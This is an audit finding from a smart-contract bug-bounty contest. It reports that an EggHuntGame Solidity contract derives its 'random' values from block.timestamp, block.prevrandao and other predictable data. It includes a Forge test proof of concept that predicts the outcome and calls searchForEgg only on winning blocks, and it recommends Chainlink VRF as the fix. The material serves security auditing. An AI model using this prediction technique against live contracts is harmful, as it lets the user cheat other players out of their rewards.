Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable Randomness in EggHuntGame Contract Leads to Exploitation

howiecht

Summary

The EggHuntGame contract uses predictable sources for randomness, including block.timestamp, block.prevrandao, and other deterministic data to generate "random" values. This approach creates a vulnerability where the randomness can be predicted and exploited by attackers.

Vulnerability Details

Add below test to test suite, it proves random variable is predictable.

function testSearchForEggWithPredictRandom() public {
// Start the game with a duration.
uint256 duration = 200;
game.startGame(duration);
​
game.setEggFindThreshold(10);
​
// Alice attempts to search for an egg.
vm.startPrank(alice);
​
for (uint256 i = 0; i < duration; i++) {
if (block.timestamp > game.endTime()) {
break;
}
uint256 currentEggCounter = game.eggCounter();
uint256 aliceFoundEgg = game.eggsFound(alice);
if (
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, alice, game.eggCounter()))) % 100
< game.eggFindThreshold()
) {
game.searchForEgg();
assertEq(game.eggCounter(), currentEggCounter + 1); // alice does find egg
assertEq(game.eggsFound(alice), aliceFoundEgg + 1);
} else {
assertEq(game.eggCounter(), currentEggCounter); // alice does not find egg
assertEq(game.eggsFound(alice), aliceFoundEgg);
}
​
vm.warp(block.timestamp + 1);
}
vm.stopPrank();
}

Impact

This vulnerability allows players or attackers to:

  1. Predict exactly when they will find eggs

  2. Time their transactions to maximize rewards

  3. Gain an unfair advantage over other players

Tools Used

Manual code review

Forge testing framework to validate the vulnerability

Recommendations

Use a secure source of randomness, such as Chainlink VRF (Verifiable Random Function)

Updates

Lead Judging Commences

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.